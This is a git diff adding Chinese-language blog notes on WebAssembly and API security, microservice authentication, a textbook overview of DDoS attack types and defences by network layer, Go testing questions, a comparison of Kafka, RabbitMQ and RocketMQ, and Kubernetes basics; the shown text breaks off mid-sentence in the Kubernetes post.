+沙盒机制:WebAssembly的设计团队特意考虑到了安全。Wasm代码在浏览器中运行在一个沙盒环境中,这意味着它不能直接访问主机系统或执行任何超出其权限范围的操作。从这个意义上说,它的安全模型与JavaScript相似。 + +代码隐藏和逆向工程:与minified或obfuscated的JavaScript代码相比,WebAssembly代码更难以阅读和逆向工程。这可能为恶意攻击者提供了一个隐藏和运行恶意代码的机会,同时也为合法开发者提供了一定程度的代码保护。 + +新的攻击面:由于WebAssembly是一个新的技术,它为攻击者提供了新的潜在入口点。例如,如果Wasm解释器或编译器存在漏洞,它们可能会被利用来执行恶意代码。 + +性能和DoS攻击:由于WebAssembly旨在提高性能,特别是CPU密集型操作,恶意的Wasm代码可能被用来执行计算操作,导致DoS攻击。 + +跨平台的恶意软件:由于WebAssembly是跨平台的,恶意的Wasm模块可能在所有支持的浏览器和设备上运行,增加了恶意软件的传播潜力。 + +与其他技术的交互:WebAssembly可以与JavaScript交互,并通过Web APIs访问浏览器功能。如果不正确地实现,这种交互可能引入新的安全问题。 + +资源限制:虽然WebAssembly沙盒了它的执行,但仍然可能会有资源消耗的问题。例如,无限循环或巨大的内存分配可能会导致浏览器崩溃或系统资源耗尽。 + + +> 描述如何在微服务架构中实现服务到服务的安全通信。 + +使用TLS/SSL加密通信: + +所有服务间的通信应通过TLS(传输层安全协议)加密,确保通信内容的机密性、完整性和认证。 +使用合法的、由受信任的证书颁发机构(CA)签发的证书,或考虑在私有网络中使用自签名证书。 +服务身份验证: + +为每个微服务提供一个唯一的身份标识。 +使用双向TLS(又称为客户端证书)来进行双方身份验证,确保通信的双方都是可信的。 +使用API Tokens或JWT进行授权: + +为每个服务生成唯一的API Token或JWT(JSON Web Tokens)来表示其身份。 +在服务之间进行通信时,附带Token或JWT,接收方验证其有效性和授权。 +JWT还可以包含服务的角色和权限,以实现细粒度的访问控制。 +网络策略和隔离: + +使用网络策略或防火墙来定义哪些服务可以与哪些其他服务通信。 +使用私有网络或专用的子网来隔离微服务,并限制外部对其的访问。 +服务网关: + +使用API网关或服务网关来中心化服务间的通信,提供统一的安全策略和监控。 +网关可以处理通信的加密、身份验证、授权和日志记录。 +使用服务网格: + +例如Istio、Linkerd等,它们提供了在微服务间通信的安全策略,如自动的mTLS(双向TLS)、流量控制和策略执行。 +秘钥管理: + +使用专门的密钥管理解决方案(如HashiCorp's Vault)来管理和分发密钥和证书。 +定期轮换密钥和证书以增加安全性。 +避免直接暴露数据库和内部服务: + +不应该直接公开数据库或其他关键内部服务。 +只有经过身份验证和授权的服务应该能够访问这些资源。 + +> 如何设计一个安全的RESTful API?考虑身份验证、授权、数据完整性等方面 + +使用HTTPS:确保所有API通信都是加密的。使用TLS/SSL来加密服务器和客户端之间的所有数据,防止中间人攻击和数据泄露。 + +身份验证: + +使用标准化的认证机制,例如OAuth 2.0或JWT(JSON Web Tokens)。 +避免将API密钥直接发送在URL中。 +为每个用户提供唯一的访问令牌,并在令牌过期后强制用户重新获取令牌。 + +授权: +使用基于角色的访问控制(RBAC)。根据用户的角色和权限控制他们可以访问的API端点。 +为每个API端点明确定义访问策略,确定哪些用户或角色可以执行哪些操作。 + +数据完整性: +使用哈希和数字签名确保数据在传输过程中没有被篡改。 +考虑使用HMAC(带密钥的哈希消息认证码)验证消息的完整性和真实性。 + +输入验证: +对所有输入数据进行严格的验证和清理,避免SQL注入、跨站脚本(XSS)和其他代码注入攻击。 +使用白名单策略,只允许已知的、安全的输入。 +限制请求率:使用限制器来防止API滥用和DoS攻击。 + +错误处理: +不要在API响应中返回敏感信息或系统详细信息。 +使用通用的错误消息,而不是具体的系统错误。 + +日志和监控: +记录所有API的访问记录,包括访问者、时间、请求的内容等。 +使用监控工具和报警机制,当检测到异常或可疑活动时立即发送通知。 +跨域资源共享(CORS)策略:如果的API需要被跨域访问,确保配置正确的CORS策略,只允许受信任的域名进行跨域请求。 + +API版本管理:为API提供版本,这样当需要进行破坏性更改时,不会影响到旧版本的客户端。 + +定期审查和更新:定期对API进行安全审查,确保随着新的安全威胁的出现,API的安全措施得到及时的更新。 + + +> API Token和JWT(JSON Web Tokens)的区别? + +内容和结构: +API Token:通常是一个随机生成的字符串,不含有明确的意义或结构。它可以看作是一个密钥,服务器用这个密钥来验证发送请求的客户端。 +JWT:是一个有明确结构的Token,通常分为三部分:Header(头部)、Payload(载荷)和Signature(签名)。它不仅仅是一个Token,还可以包含信息,如用户ID、角色等。 + +信息存储: +API Token:不携带任何用户数据或元数据,只是一个识别令牌。必须查询服务器或数据库来获取与Token相关的信息。 +JWT:自带信息。载荷部分可以存储任何数据(如用户ID、角色、过期时间等),但要注意不要在JWT中存储敏感信息,因为其内容可以被客户端解码查看。 + +有效期和撤销: +API Token:通常可以在服务器端控制其有效期和撤销权限。例如,如果Token被盗或用户登出,可以从服务器端的有效Token列表中移除它。 +JWT:其有效期通常通过“exp”(过期时间)声明在JWT本身中控制。要撤销一个JWT可能比较困难,因为服务器通常不保留已签发的JWT列表。 + +安全性: +API Token:通常需要额外的机制来保护其安全性,如HTTPS加密传输、存储时加密等。 +JWT:通过签名机制提供了一定的安全性。使用服务器的密钥对Token进行签名,可以确保其在传输过程中没有被篡改。 + +用途: +API Token:主要用于身份验证和授权。 +JWT:除了身份验证和授权外,还常被用于信息交换,因为它可以安全地在双方之间传输数据。 +依赖性: + +API Token:通常依赖于服务器或数据库来验证。 +JWT:是自包含的,意味着只要签名是有效的,并且Token没有过期,服务器就可以验证JWT,而不需要查询外部数据源。 + + +> 网络防火墙的简单逻辑 + +数据包检查:防火墙首先需要能够捕获进入和离开网络的数据包。在Linux系统中,可以使用such as netfilter/iptables来捕获数据包。然而,Go自己没有直接提供低级的数据包捕获功能,所以它经常与像libpcap这样的库结合使用。 + +协议解析:捕获数据包后,防火墙需要解析数据包的协议,例如TCP、UDP、ICMP等。这样可以根据协议类型、源/目标IP、源/目标端口等进行过滤。 + +规则匹配:防火墙维护了一组规则,用于决定允许或拒绝特定的数据包。Go可以很容易地管理这些规则,例如使用Go的数据结构(例如map或struct)。 + +状态跟踪:为了处理像TCP这样的有状态的协议,防火墙需要跟踪连接的状态。例如,可以确保只有先前建立的连接才被允许。Go的并发特性(如Goroutines和Channels)在这里非常有用,它们可以用于并发地跟踪多个连接。 + +日志记录与报告:防火墙通常会记录检测到的事件,以便管理员可以审查。Go的标准库提供了日志记录功能,可以很容易地实现这一点。 + +API和用户界面:对于更复杂的防火墙解决方案,可能需要API或用户界面来配置规则、查看状态等。Go的标准库包括HTTP服务器和客户端,使得实现API和用户界面变得相对简单。 + +性能和效率:高性能是网络防火墙的关键需求,因为它们需要实时处理大量的数据包。Go的并发特性使其成为这种应用的一个很好的选择,但低级的数据包处理和分析可能需要调用C或C++库来实现。 + + diff --git a/_posts/2023-11-7-test-markdown.md b/_posts/2023-11-7-test-markdown.md new file mode 100644 index 000000000000..2b99c9838ea8 --- /dev/null +++ b/_posts/2023-11-7-test-markdown.md @@ -0,0 +1,59 @@ +--- +layout: post +title: DDOS 技术 +subtitle: +tags: [DDOS] +comments: true +--- + + +## 应用层(Layer 7) + +HTTP Flood: 大量的HTTP请求被发送到目标服务器。IO消耗,不能伪造IP地址。 +Slowloris: 通过缓慢地发送HTTP请求来耗尽服务器资源。 +DNS Query Flood: 大量的DNS查询请求。 +Cache-busting Attacks: 通过请求不同的资源来绕过缓存。 + +放大攻击: + +客户端通过UDP 往DNS 查询:60字节回复3000子节,产50倍的放大效果,源地址伪造为攻击目标的IP地址。 + +## 表示层/会话层 +这些层通常不是DDoS攻击的主要目标,但某些攻击(如SSL/TLS重协商攻击)可能会影响到这些层。 + + +## 传输层(Layer 4) + +TCP SYN Flood: 发送大量的SYN包,导致服务器资源耗尽。攻击连接资源,连接表大小有限,SyN +ACK 重试 +TCP RST Flood: 一方发送RST来结束连接,那么可以通过RST数据进行盲打,切断正常用户 + +UDP Flood: 通过发送大量的UDP包来消耗网络资源。可能报漏设备IP地址。(伪造ID地址)伪造发信人的身份。 +ICMP Flood: 利用ICMP协议(如ping)进行洪水攻击。ICMP是进行差错控制的包,类似给某个人写信,写了什么不重要,目的是让邮递员在对方家门口排起长队,打断正常的信件收发。 +Connection Flood: 创建大量的TCP连接,但不发送任何数据。 + +反射攻击: +收件地址-互联网上的第三方工具 +发件地址-被攻击的服务器地址 +回复数据涌入发件地址。 + + + +## 网络层(Layer 3) +Smurf Attack: 利用IP广播地址发送大量的请求。攻击者发送ICMP请求到网络广播地址,所有主机都会响应,导致网络拥塞。 +IP Fragmentation Attacks: 发送分片的IP包,导致目标系统在重新组装这些包时耗尽资源。 +Teardrop Attack: 发送畸形的IP碎片,导致目标系统崩溃。 + +## 数据链路层(Layer 2) +MAC Flooding: 通过大量的MAC地址条目来耗尽交换机的MAC地址表。攻击者发送大量不同源MAC地址的数据帧,目的是耗尽交换机的MAC地址表。 +ARP Spoofing: 通过伪造ARP请求和应答来中断网络通信。攻击者发送伪造的ARP消息,以改变局域网中的IP到MAC地址映射。 + + +## 方式 + +> 伪造IP地址 + +### 路由检测IP地址的路径 +### CDN +### 流量清洗设备/流量清洗平台/算法对流量进行模式识别 + + diff --git a/_posts/2023-11-9-test-markdown.md b/_posts/2023-11-9-test-markdown.md new file mode 100644 index 000000000000..630d457d3fbb --- /dev/null +++ b/_posts/2023-11-9-test-markdown.md @@ -0,0 +1,51 @@ +--- +layout: post +title: 测试相关 +subtitle: +tags: [Test] +comments: true +--- + +对测试的理解: +测试不仅仅是找出软件中的缺陷或错误,更是一个全面评估软件质量的过程。它涉及到需求分析、测试设计、用例编写、自动化测试、性能测试等多个方面。好的测试应该能在尽可能短的时间内,用最少的资源找出最关键的问题。除了功能性测试,还需要关注性能、安全、可用性等非功能性需求。 + + +什么是单元测试(Unit Testing)?为什么它在Go中重要? + +如何在Go中编写一个简单的测试用例? + +请解释testing.T和testing.B的作用。 + +什么是表格驱动测试(Table-Driven Tests)?能否给一个例子? + +如何进行基准测试(Benchmarking)? + +请解释Go中的子测试(Subtests)和子基准测试(Sub-benchmarks)。 + +如何模拟(Mock)依赖项进行测试? + +什么是端到端测试(End-to-End Testing)?如何在Go中进行? + +如何测试HTTP服务? + +如何使用-race标志?它是用来做什么的? + +请解释测试覆盖率(Test Coverage)和如何在Go中测量它。 + +如何进行错误处理和断言(Assertions)? + +什么是TestMain函数,它有什么用? + +如何测试并发代码? + +有哪些第三方库或工具可以帮助进行Go测试? + +如何进行性能测试? + +什么是集成测试(Integration Testing)?如何在Go中进行? + +如何使用httptest包进行HTTP客户端和服务器的测试? + +如何在Go中进行数据库测试? + +如何测试私有函数或方法? \ No newline at end of file diff --git a/_posts/2023-2-1-test-markdown.md b/_posts/2023-2-1-test-markdown.md new file mode 100644 index 000000000000..b5f4ed86398f --- /dev/null +++ b/_posts/2023-2-1-test-markdown.md @@ -0,0 +1,338 @@ +--- +layout: post +title: 分布式消息队列方案 +subtitle: +tags: [Kafka] +comments: true +--- + +> 分布式消息队列的作用:应用解耦,削峰,异步 + +> 四种常用的分布式消息队列开源软件:Kafka、ActiveMQ、RabbitMQ 及 RocketMQ。 + +## Kafka + +### 1. Kafka + +> Apache Kafka is a distributed streaming platform. + +关键词:流平台 + +可以做什么? + +- 发布消息流、订阅消息流 +- 存储记录流(持久化的方式存储记录流) +- 处理记录流(及时对其进行处理) + +适合什么样的应用? + +- 需要在两个系统或者两个应用之间可靠的传输数据 +- 需要对传输的数据进行转换、或者反映。 + +提供的公开 API 有什么? + +> 就像往 Channel 写数据? + +- Producer API:应用程序调该接口把数据记录发布到一个或者多个 Kafka 主题(Topics) + +> 就像从 Channel 读数据? + +- Consumer API:基于该 API,应用程序可以订阅一个或多个主题,并处理主题对应的记录流 + +> 就像统一写入和读出 Channel 的数据? + +- Streams API:基于该 API,应用程序可以充当流处理器,从一个或多个主题消费输入流,并生成输出流输出一个或多个主题,从而有效地将输入流转换为输出流; + +> 就像 MYSQL 的连接器,把不同的客户端连接到 MYSQL? + +- Connector API 允许构建和运行将 Kafka 主题连接到现有应用程序或数据系统的可重用生产者或消费者。 + +### 2. Kafka 特点 + +> 快速持久 + +快速持久化,可以在 O(1) 的系统开销下进行消息持久化; + +> 高吞吐 + +高吞吐,在一台普通的服务器上可以达到 10W/s 的吞吐速率 + +> 自动支持负载均衡 + +完全的分布式系统,Broker、Producer、Consumer 都原生自动支持分布式,自动实现负载均衡; + +> 同步和异步 + +支持同步和异步复制两种 HA; + +> 数据批量拉取和发送 + +支持数据批量发送和拉取 + +> 透明; + +数据迁移、扩容对用户透明 + +> 高可用 + +其他特性还包括严格的消息顺序、丰富的消息拉取模型、高效订阅者水平扩展、实时的消息订阅、亿级的消息堆积能力、定期删除机制。 + +### 3. Kafka 的构成 + +环境要求 + +JDK:Kafka 的最新版本为 2.0.0,JDK 版本需 1.8 及以上; +ZooKeeper:Kafka 集群依赖 ZooKeeper,需根据 Kafka 的版本选择安装对应的 ZooKeeper 版本 + +- Kafka 通过 Zookeeper 管理集群配置,选举 Leader +- 若干 Consumer(消息消费者,从 Broker 读取数据的客户端) +- ConsumerGroup(每个 Consumer 属于一个特定的 ConsumerGroup,但是一个 ConsumerGroup 中间只有一个 Consumer 可以消费信息) +- 若干 Producer(消息生产者,向 Broker 发送数据的客户端) +- 若干 Broker (一个 Kafka 节点就是一个 Broker) +- TOPIC (逻辑概念)Kafka 根据 topic 对消息进行归类别,发布到 Kafka 的消息需要指定 topic +- Partition 物理上的概念,一个 topic 多个 partition,如果是一个 Partition ,那么该 Partition 对应的物理机器就是这个 TOPIC 的性能瓶颈。 + +Producer 使用 Push(推)模式将消息发布到 Broker。 +Consumer 使用 Pull(拉)模式从 Broker 订阅并消费消息。 + +### 4. Kafka 的高可用方案 + +> 一个 Topic 多个 Partition——提高吞吐 + +> 一个 Partition 多个 Replicas——(保障可用性)(Replicas 代表的是作为 Follower 的物理节点?) + +> 引入 Zookeeper ——(保障数据一致性) + +一个 Partition 基于 Zookeeper 进行选举出一个节点作为 Leader,其余的节点是备份作为 Follower,Partition 里面只有 Leader 才能处理客户端请求,而 Follower 仅仅是作为副本同步 Leader 的数据。 + +过程就是: + +Producer 写入数据到自己的 Partition,Leader 所在的 Broker 会把消息写入自己的分区,并且把消息复制到各个 Follower 实现同步,如果某个 Follower 挂掉,会再找一个替代同步消息,如果 Leader 挂掉,就从 Leader 中间选举一个新的 Leader 替代。 + +### 5. Kafka 优缺点 + +- 客户端语言丰富,支持 Java、.NET、PHP、Ruby、Python、Go 等多种语言; +- 性能卓越,单机写入 TPS 约在百万条/秒,消息大小 10 个字节; +- 提供完全分布式架构,并有 Replica 机制,拥有较高的可用性和可靠性,理论上- 支持消息无限堆积; +- 支持批量操作; +- 消费者采用 Pull 方式获取消息,消息有序,通过控制能够保证所有消息被消费且- 仅被消费一次; +- 有优秀的第三方 Kafka Web 管理界面 Kafka-Manager; +- 在日志领域比较成熟,被多家公司和多个开源项目使用。 + +## RabbitMQ + +### 1. RabbitMQ 介绍 + +RabbitMQ 是流行的开源消息队列系统。 + +> RabbitMQ 是 AMQP(Advanced Message Queuing Protocol)的标准实现。支持多种客户端,如 Python、Ruby、.NET、Java、JMS、C、PHP、ActionScript、XMPP、STOMP 等,支持 AJAX、持久化。用于在分布式系统中存储转发消息,在易用性、扩展性、高可用性等方面表现不俗。 + +RabbitMQ 采用 Erlang 语言开发。Erlang 是一种面向并发运行环境的通用编程语言。该语言由爱立信公司在 1986 年开始开发,目的是创造一种可以应对大规模并发活动的编程语言和运行环境。Erlang 问世于 1987 年,经过十年的发展,于 1998 年发布开源版本。 + +Erlang 是一个结构化、动态类型编程语言,内建并行计算支持。使用 Erlang 编写出的应用运行时通常由成千上万个轻量级进程组成,并通过消息传递相互通讯。进程间上下文切换对于 Erlang 来说仅仅只是一两个环节,比起 C 程序的线程切换要高效得多。Erlang 运行时环境是一个虚拟机,有点像 Java 虚拟机,这样代码一经编译,同样可以随处运行。它的运行时系统甚至允许代码在不被中断的情况下更新。另外字节代码也可以编译成本地代码运行。 + +### 2. RabbitMQ 特点 + +根据官方介绍,RabbitMQ 是部署最广泛的消息代理,有以下特点: + +- 异步消息传递,支持多种消息传递协议、消息队列、传递确认机制,灵活的路由消息到队列,多种交换类型; +- 良好的开发者体验,可在许多操作系统及云环境中运行,并为大多数流行语言提供各种开发工具; +- 可插拔身份认证授权,支持 TLS(Transport Layer Security)和 LDAP(Lightweight Directory Access Protocol)。轻量且容易部署到内部、私有云或公有云中; +- 分布式部署,支持集群模式、跨区域部署,以满足高可用、高吞吐量应用场景; + 有专门用于管理和监督的 HTTP-API、命令行工具和 UI; +- 支持连续集成、操作度量和集成到其他企业系统的各种工具和插件阵列。可以插件方式灵活地扩展 RabbitMQ 的功能。 + +综上所述,RabbitMQ 是一个“体系较为完善”的消息代理系统,性能好、安全、可靠、分布式,支持多种语言的客户端,且有专门的运维管理工具。 + +### 3. RabbitMQ 环境 + +RabbitMQ 支持多个版本的 Windows 和 Unix 系统,此外,ActiveMQ 由 Erlang 语言开发而成,因此需要 Erlang 环境支持。某种意义上,RabbitMQ 具有在所有支持 Erlang 的平台上运行的潜力,从嵌入式系统到多核心集群还有基于云端的服务器。 + +### 4. RabbitMQ 架构 + +Broker:即消息队列服务器实体) +Exchange:消息交换机,指定消息按照什么规则,路由到哪个队列。 +Queue:消息被 Exchange 路由到一个或者多个队列 +Binding:绑定,它的作用是把 Exchange 和 Queue 按照路由规则绑定起来。 +Routing Key:路由关键字,Exchange 根据这个关键字进行消息投递。 +Vhost:虚拟主机,一个 Broker 里可以开设多个 Vhost,用作不同用户的权限分离。 +Producer:消息生产者,就是投递消息的程序。 +Consumer:消息消费者,就是接受消息的程序 +Channel:消息通道,在客户端的每个连接里,可建立多个 Channel,每个 Channel 代表一个会话任务。 + +使用的过程: + +- 连接到、消息队列服务器,然后打开一个 Channel +- 客户端声明 Exchange,设置属性 +- 客户端声明 Queue ,设置属性 +- 客户端使用 BindingKey 在 Exchange 和 Queue 之间建立好绑定关系。 +- 客户端投递消息到 Exchange,Exchange 接收消息,将消息路由到一个或者多个队列 + +> Queue 的名字作是”ABC“,那么 Routing Key=”ABC“将被放置到 Queue + +Direct Exchange: 完全根据 Key 投递。如果 Routing Key 匹配,Message 就会被传递到相应的 Queue 中。其实在 Queue 创建时,它会自动地以 Queue 的名字作为 Routing Key 来绑定 Exchange。例如,绑定时设置了 Routing Key 为“abc”,那么客户端提交的消息,只有设置了 Key 为“abc”的才会投递到队列中。 + +> 投到哪个交换机,就放到该交换机对应的所有的队列 + +Fanout Exchange: 该类型 Exchange 不需要 Key。它采取广播模式,一个消息进来时,便投递到与该交换机绑定的所有队列中。 + +> 匹配后再投递 + +Topic Exchange: 对 Key 进行模式匹配后再投递。比如符号“#”匹配一个或多个词,符号“.”正好匹配一个词。例如“abc.#”匹配“abc.def.ghi”,“abc.”只匹配“abc.def”。 + +### 5. RabbitMQ 高可用方案 + +就分布式系统而言,实现高可用(High Availability,HA)的策略基本一致,即副本思想,当主节点宕机之后,作为副本的备节点迅速“顶上去”继续提供服务。此外,单机的吞吐量是极为有限的,为了提升性能,通常都采用“人海战术”,也就是所谓的集群模式。 + +RabbitMQ 集群配置方式主要包括以下几种: + +Cluster:不支持跨网段,用于同一个网段内的局域网;可以随意得动态增加或者减少;节点之间需要运行相同版本的 RabbitMQ 和 Erlang。 + +Federation:应用于广域网,允许单台服务器上的交换机或队列接收发布到另一台服务器上的交换机或队列的消息,可以是单独机器或集群。Federation 队列类似于单向点对点连接,消息会在联盟队列之间转发任意次,直到被消费者接受。通常使用 Federation 来连接 Internet 上的中间服务器,用作订阅分发消息或工作队列。 + +Shovel:连接方式与 Federation 的连接方式类似,但它工作在更低层次。可以应用于广域网 + +#### 5.1 RabbitMQ 节点类型有以下几种 + +内存节点:内存节点将队列、交换机、绑定、用户、权限和 Vhost 的所有元数据定义存储在内存中,好处是可以更好地加速交换机和队列声明等操作。 +磁盘节点:将元数据存储在磁盘中,单节点系统只允许磁盘类型的节点,防止重启 RabbitMQ 时丢失系统的配置信息。 +问题说明:RabbitMQ 要求集群中至少有一个磁盘节点,所有其他节点可以是内存节点,当节点加入或者离开集群时,必须要将该变更通知给至少一个磁盘节点。如果集群中唯一的一个磁盘节点崩溃的话,集群仍然可以保持运行,但是无法进行操作(增删改查),直到节点恢复。 + +解决方案:设置两个磁盘节点,至少有一个是可用的,可以保存元数据的更改。 + +#### 5.2 Erlang Cookie + +Erlang Cookie 是保证不同节点可以相互通信的密钥,要保证集群中的不同节点相互通信必须共享相同的 Erlang Cookie。具体的目录存放在 /var/lib/rabbitmq/.erlang.cookie。 + +它的起源要从 rabbitmqctl 命令的工作原理说起。RabbitMQ 底层基于 Erlang 架构实现,所以 rabbitmqctl 会启动 Erlang 节点,并基于 Erlang 节点使用 Erlang 系统连接 RabbitMQ 节点,在连接过程中需要正确的 Erlang Cookie 和节点名称,Erlang 节点通过交换 Erlang Cookie 以获得认证。 + +#### 5.3 镜像队列 + +RabbitMQ 的 Cluster 集群模式一般分为两种,普通模式和镜像模式。 + +普通模式:默认的集群模式,以两个节点(Rabbit01、Rabbit02)为例来进行说明。对于 Queue 来说,消息实体只存在于其中一个节点 Rabbit01(或者 Rabbit02),Rabbit01 和 Rabbit02 两个节点仅有相同的元数据,即队列的结构。当消息进入 Rabbit01 节点的 Queue 后,Consumer 从 Rabbit02 节点消费时,RabbitMQ 会临时在 Rabbit01、Rabbit02 间进行消息传输,把 A 中的消息实体取出并经过 B 发送给 Consumer。所以 Consumer 应尽量连接每一个节点,从中取消息。即对于同一个逻辑队列,要在多个节点建立物理 Queue。否则无论 Consumer 连 Rabbit01 或 Rabbit02,出口总在 Rabbit01,会产生瓶颈。当 Rabbit01 节点故障后,Rabbit02 节点无法取到 Rabbit01 节点中还未消费的消息实体。如果做了消息持久化,那么得等 Rabbit01 节点恢复,然后才可被消费;如果没有持久化的话,就会产生消息丢失的现象。 + +镜像模式:将需要消费的队列变为镜像队列,存在于多个节点,这样就可以实现 RabbitMQ 的 HA,消息实体会主动在镜像节点之间实现同步,而不是像普通模式那样,在 Consumer 消费数据时临时读取。但也存在缺点,集群内部的同步通讯会占用大量的网络带宽。 + +#### 5.4 RabbitMQ 优点 + +优点主要有以下几点: + +由于 Erlang 语言的特性,RabbitMQ 性能较好、高并发; +健壮、稳定、易用、跨平台、支持多种语言客户端、文档齐全; +有消息确认机制和持久化机制,可靠性高; +高度可定制的路由; +管理界面较丰富,在互联网公司也有较大规模的应用; +社区活跃度高,更新快。 + +## RocketMQ 部署环境 + +RocketMQ 由阿里研发团队开发的分布式队列,侧重于消息的顺序投递,具有高吞吐量、可靠性等特征。RocketMQ 于 2013 年开源,2016 年捐赠给 Apache 软件基金会,并于 2017 年 9 月成为 Apache 基金会的顶级项目。 + +### 1.RocketMQ 特点 + +RcoketMQ 是一款低延迟、高可靠、可伸缩、易于使用的消息中间件。具有以下特性: + +支持发布/订阅(Pub/Sub)和点对点(P2P)消息模型; +队列中有着可靠的先进先出(FIFO)和严格的顺序传递; +支持拉(Pull)和推(Push)两种消息模式; +单一队列百万消息的堆积能力; +支持多种消息协议,如 JMS、MQTT 等; +分布式高可用的部署架构,满足至少一次消息传递语义; +提供 Docker 镜像用于隔离测试和云集群部署; +提供配置、指标和监控等功能丰富的 Dashboard。 + +### 2.RocketMQ 部署 + +操作系统 + +推荐使用 64 位操作系统,包括 Linux、Unix 和 Mac OX。 + +安装环境 + +JDK:RocketMQ 基于 Java 语言开发,需 JDK 支持,版本 64bit JDK 1.8 及以上; +Maven:编译构建需要 Maven 支持,版本 3.2.x 及以上。 + +### 3.RocketMQ 架构 + +NameServer 集群:类似 KafkaZookeeper,支持 Broker 的动态注册与发现: + +- Broker 管理:NameServer 接受 Broker 集群的注册信息并且保存下来作为路由信息的基本数据。然后提供心跳检测机制,检查 Broker 是否还存活。 + +- 路由信息管理。每个 NameServer 将保存关于 Broker 集群的整个路由信息和用于客户端查询的队列信息。然后 Producer 和 Conumser 通过 NameServer 就可以知道整个 Broker 集群的路由信息,从而进行消息的投递和消费。 + +> NameServer 通常也是集群的方式部署,各实例间相互不进行信息通讯. + +> Broker 向每一台 NameServer 注册自己的路由信息. + +> 当某个 NameServer 因某种原因下线,Broker 仍然可以向其它 NameServer 同步其路由信息,Produce、Consumer 仍然可以动态感知 Broker 的路由信息 + +Broker 集群: + +Broker 主要负责消息的存储、投递、查询以及服务高可用保证。为了实现这些功能 Broker 包含了以下几个重要子模块. + +- Remoting Module:整个 Broker 的实体,负责处理来自 Clients 端的请求; +- Client Manager:负责管理客户端(Producer、Consumer)和 Consumer 的 Topic 订阅信息; +- Store Service:提供方便简单的 API 接口处理消息存储到物理硬盘和查询功能; +- HA Service:高可用服务,提供 Master Broker 和 Slave Broker 之间的数据同步功能; +- Index Service:根据特定的 Message Key 对投递到 Broker 的消息进行索引服务,以提供消息的快速查询。 + Producer 集群 + +充当消息生产者的角色,支持分布式集群方式部署。Producers 通过 MQ 的负载均衡模块选择相应的 Broker 集群队列进行消息投递。投递的过程支持快速失败并且低延迟。 + +Consumer 集群 + +充当消息消费者的角色,支持分布式集群方式部署。支持以 Push、pull 两种模式对消息进行消费。同时也支持集群方式和广播形式的消费,它提供实时消息订阅机制,可以满足大多数用户的需求。 + +### 4. RocketMQ 高可用原理 + +> 集群模式下,Master 和 Slave 是固定的。 + +> Master 和 Slaved 的配对是通过指定相同的 brokerName 参数 + +> Master 的 BrokerId 必须是 0,Slave 的 BrokerId 必须是大于 0 的数。 + +> 同一个 Master 下面的多个 Slave 的 BrokerId 不同。 + +> 当 Master 宕机,那么消费者从其他 Slave 消费 + +### 5. RocketMQ 高可用实现原理 + +单个 Master 模式: + +除了配置简单,没什么优点。 +它的缺点是不可靠。该机器重启或宕机,将导致整个服务不可用,因此,生产环境几乎不采用这种方案 + +多个 Master 模式: + +当使用多 Master 无 Slave 的集群搭建方式时,Master 的 brokerRole 配置必须为 ASYNC_MASTER。如果配置为 SYNC_MASTER,则 producer 发送消息时,返回值的 SendStatus 会一直是 SLAVE_NOT_AVAILABL + +多 Master 多 Slave 模式: + +异步复制 +其优点为:即使磁盘损坏,消息丢失得非常少,消息实时性不会受影响,因为 Master 宕机后,消费者仍然可以从 Slave 消费,此过程对应用透明,不需要人工干预,性能同多 Master 模式几乎一样。 + +它的缺点为:Master 宕机或磁盘损坏时会有少量消息丢失。 + +多 Master 多 Slave 模式: + +同步双写 +其优点为:数据与服务都无单点,Master 宕机情况下,消息无延迟,服务可用性与数据可用性都非常高。 + +其缺点为:性能比异步复制模式稍低,大约低 10% 左右,发送单个消息的 RT 会稍高,目前主宕机后,备机不能自动切换为主机,后续会支持自动切换功能。 + +### 6. RocketMQ 优缺点 + +优点主要包括以下几点。 + +单机支持 1 万以上持久化队列; +RocketMQ 的所有消息都是持久化的,先写入系统 Page Cache,然后刷盘,可以保证内存与磁盘都有一份数据,访问时,直接从内存读取; +模型简单,接口易用(JMS 的接口很多场合并不太实用); +性能非常好,可以大量堆积消息在 Broker 中; +支持多种消费模式,包括集群消费、广播消费等; +各个环节分布式扩展设计,主从 HA; +社区较活跃,版本更新较快。 + +支持的客户端语言不多,目前是 Java、C++ 和 Go,后两种尚不成熟; +没有 Web 管理界面,提供了 CLI(命令行界面)管理工具来进行查询、管理和诊断各种问题; +没有在 MQ 核心中实现 JMS 等接口。 diff --git a/_posts/2023-2-10-test-markdown.md b/_posts/2023-2-10-test-markdown.md new file mode 100644 index 000000000000..53f57011b670 --- /dev/null +++ b/_posts/2023-2-10-test-markdown.md @@ -0,0 +1,797 @@ +--- +layout: post +title: Kubernetes +subtitle: +tags: [Kubernetes] +comments: true +--- + +### 1. ETCD + +Key-Value 键值存储 + +- 并发写 +- REST ful API 接口支持 Json +- 分布式基于 Raft 算法 +- 支持 HTTPS 的访问 + +#### 1.1 适用场景 + +- 发布订阅:做数据配置中心,应用程序从中订阅自己想要的变量,当变量发生变化的时候可以动态通知。 +- 基于 Raft 算法使得存储到集群的数据是一致的,即可以做集群的数据存储。分布式锁的概念。 +- 可以动态的监控集群的状态,可以做集群监控。 +- 可以做协调通知的角色,使用到 ETCD 的 watcher 机制,协调通知分布式场景下不同的系统。 +- 服务的发现:就是监控集群中是否有进程在监听 UDP 或者 TCP 端口。通过名字直接连接。 + +### 2. Kubernetes 基础 + +容器编排工具,容器化应用的运行,部署,资源调度,服务发现。故障修复,在线扩容。 + +#### 2.1 Kubernetes And Docker + +Docker 是应用程序及其依赖的库,和虚拟机的最大不同是,虚拟机上的 APP1、 APP2、APP3 共享 内核以及安装在操作系统上的各种库和依赖。但是 Docker 打包的 APP1、APP2、APP3 三者仅仅共享内核,各自包含自己的依赖和库,彼此之间相互隔离。 + +#### 2.2 Minikube Kubectl Kubelet + +Minikube 在本地机器上运行单节点 Kubernetes 集群的工具 + +Kubectl API-Server 的命令行工具,检查集群的状态 + +Kubelet 一个代理服务,运行每个 Node 上,使得从服务器和主服务器进行通讯。 + +#### 2.3 Kubernetes 部署的方式 + +- Minikube +- Kubeadm +- 二进制 + +#### 2.4 Kubernetes 怎么管理集群 + +- 两个角色:主 Master 节点和 Worker 节点 +- Master Node 上运行着很多进程:API-server、Kube-controller-manager 、Kube-schedule 进程。这些进程管理集群的资源,负责资源的调度。 + +#### 2.4 Kubernetes 适合场景 + +- 微服务通讯 +- 容器编排 +- 快速部署。 +- 快速扩展。 +- 轻量级 +- 自动部署。 +- 自动重启。 +- 自动复制。 + +#### 2.5 Kubernetes 基础概念 + +在 Kubernetes 集群中,工作节点(Worker Node)承载着运行应用程序的容器。每个工作节点都运行着几个关键的组件,包括 Kubelet、Kube-proxy 和容器运行时(如 Docker 或 